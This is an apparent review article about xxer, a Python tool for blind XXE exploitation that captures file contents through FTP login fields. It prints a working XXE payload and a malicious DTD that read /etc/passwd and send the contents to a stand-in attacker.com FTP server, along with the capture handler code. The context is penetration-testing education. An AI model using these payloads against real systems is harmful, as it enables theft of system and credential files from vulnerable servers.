Back to Articles

xxer: Weaponizing FTP Password Fields for Blind XXE Data Exfiltration

[ View on GitHub ]

xxer: Weaponizing FTP Password Fields for Blind XXE Data Exfiltration

Hook

The FTP protocol's password field was never meant to smuggle stolen file contents out of vulnerable XML parsers, but that's exactly what makes it brilliant for blind XXE exploitation.

Context

XML External Entity (XXE) vulnerabilities have plagued web applications since the early 2000s, allowing attackers to read arbitrary files, perform SSRF attacks, and exfiltrate data through maliciously crafted XML documents. While detecting XXE is straightforward with tools that check for basic callback signals, exploiting blind XXE—where you can't see the application's response—presents a trickier challenge. Traditional out-of-band techniques rely on DNS or HTTP callbacks, but these channels struggle with multi-line data extraction since most XML parsers won't include newlines in URL parameters.

The original ONsec-Lab team recognized this limitation and developed a clever workaround: instead of trying to squeeze file contents into HTTP requests, they leveraged the FTP protocol's authentication mechanism. When an XML parser connects to an FTP server, it can send arbitrary data as the password field—including multi-line directory listings and file contents with special characters. Their Ruby implementation proved the concept, but xxer brings this technique to Python, making it accessible to the majority of penetration testers and security researchers who work primarily in Python ecosystems. It's not about reinventing XXE exploitation; it's about automating the tedious server orchestration required to pull off this specific attack vector.

Technical Insight

xxer Tool

1. Inject XXE payload
2. Deliver malicious DTD
3. Parse DTD entities
4. Read file contents
5. FTP connection with

data in auth fields
6. Extract data from

login/password

Provides template

Vulnerable XML Parser

xxer HTTP Server :8000

Target File System

xxer FTP Server :2121

Attacker Console

Payload Generator

System architecture — auto-generated

The genius of xxer lies in its dual-server architecture that choreographs a sophisticated data exfiltration dance. When you run the tool, it spins up an HTTP server (default port 8000) and an FTP server (default port 2121) simultaneously. The HTTP server delivers a malicious DTD (Document Type Definition) file that instructs the vulnerable XML parser to connect back to the FTP server with stolen data embedded in the connection.

Here's how the payload chain works. You first inject an XXE payload like this into the vulnerable application:

<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com:8000/evil.dtd">
  %dtd;
]>
<data>&send;</data>

When the XML parser processes this, it fetches evil.dtd from your xxer HTTP server. That DTD contains the real exploitation logic:

<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://attacker.com:2121/%file;'>">
%all;

This nested entity declaration is where the magic happens. The %file entity (containing your target file's contents) gets interpolated into an FTP URL, forcing the XML parser to connect to your FTP server with the stolen data. But here's the key insight: instead of trying to pass this data in the FTP path (which would fail for multi-line content), the tool's FTP handler is designed to capture it from the authentication exchange.

Looking at xxer's Python implementation, the FTP server uses a custom handler that overrides the authentication process. When the XML parser attempts to connect, it sends the file contents as part of the FTP username or password field. The tool captures this in the callback and prints it to your console:

class FTPServerHandler(FTPHandler):
    def on_login(self, username):
        # Captured data appears in username field
        print(f"[+] Received data: {username}")
        
    def on_login_failed(self, username, password):
        # Some parsers send data in password field instead
        print(f"[+] Received data in password: {password}")

This approach bypasses a fundamental limitation of URL-based exfiltration. While HTTP GET parameters must be URL-encoded and typically choke on newlines or binary data, FTP authentication fields handle arbitrary strings more gracefully. You can extract entire directory listings from /etc/, complete config files with multi-line values, or even base64-encoded binary data—scenarios where traditional XXE callback mechanisms fall flat.

The HTTP server component is equally clever in its simplicity. Rather than implementing complex routing logic, it serves any file from the current working directory. This means you can customize your DTD payloads on the fly without restarting the server. Need to switch from reading /etc/passwd to enumerating /var/www/? Just modify your DTD file, and the next XXE callback will use the updated logic. However, this convenience comes with a security trade-off we'll discuss later.

One often-overlooked aspect of xxer's design is its support for both file reading and directory listing attacks. For directory enumeration, you'd modify the DTD to use file:///etc/ as the target, and many XML parsers will helpfully provide a directory listing in the FTP callback. This reconnaissance capability is invaluable when you're trying to map out the target system's filesystem before deciding which specific files to exfiltrate.

Gotcha

xxer's biggest limitation is right there in the name: it's a callback handler, not a vulnerability scanner. You need to have already identified an XXE injection point through manual testing or other tools. If you're expecting xxer to crawl your target application looking for vulnerable XML endpoints, you'll be disappointed. It assumes you've already found the needle in the haystack and now need help extracting value from it.

The FTP-based exfiltration, while clever, isn't universally applicable. Some enterprise environments implement strict egress filtering that allows HTTP/HTTPS but blocks outbound FTP connections entirely. In these scenarios, xxer's primary mechanism fails, and you'd need to modify the code to use alternative exfiltration channels. Additionally, certain XML parsers implement security features that prevent external FTP connections specifically (while still allowing HTTP), rendering the tool ineffective without code changes. The documentation provides troubleshooting steps, but they're focused on confirming whether XXE is possible at all, not on adapting to different network restrictions.

From a deployment perspective, xxer lacks the polish of a production-ready tool. There's no pip package, no proper CLI argument parsing library (it uses raw sys.argv), and no configuration file support. You modify hardcoded port numbers in the source code if the defaults conflict with your environment. For professional penetration testers who need to run this from Kali Linux or similar platforms, this means maintaining a local clone and potentially tracking custom modifications. The tool also serves all files in its current directory over HTTP, which means running it from a folder containing sensitive information (like your testing notes or client data) could inadvertently expose those files to anyone who knows your server's address.

Verdict

Use if: You've confirmed an XXE vulnerability exists and need to extract actual file contents or directory listings beyond simple proof-of-concept callbacks. xxer excels when you're dealing with blind XXE where response content isn't visible, and when target files contain multi-line data that won't fit cleanly in DNS or HTTP callback parameters. It's also ideal for penetration testers comfortable with Python who need to quickly spin up an exploitation server without wrestling with Ruby dependencies. Skip if: You're still in the vulnerability discovery phase (use Burp Collaborator or similar DNS/HTTP callback services instead), or if you need an enterprise-ready tool with proper packaging, extensive configuration options, and active maintenance. Also avoid if your target environment implements strict egress filtering that blocks FTP, or if you're uncomfortable reading and modifying Python source code to adapt the tool for custom scenarios. For those cases, consider XXEinjector, which offers more exfiltration methods and enumeration capabilities, albeit with increased complexity.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/developer-tools/thetwitchy-xxer.svg)](https://starlog.is/api/badge-click/developer-tools/thetwitchy-xxer)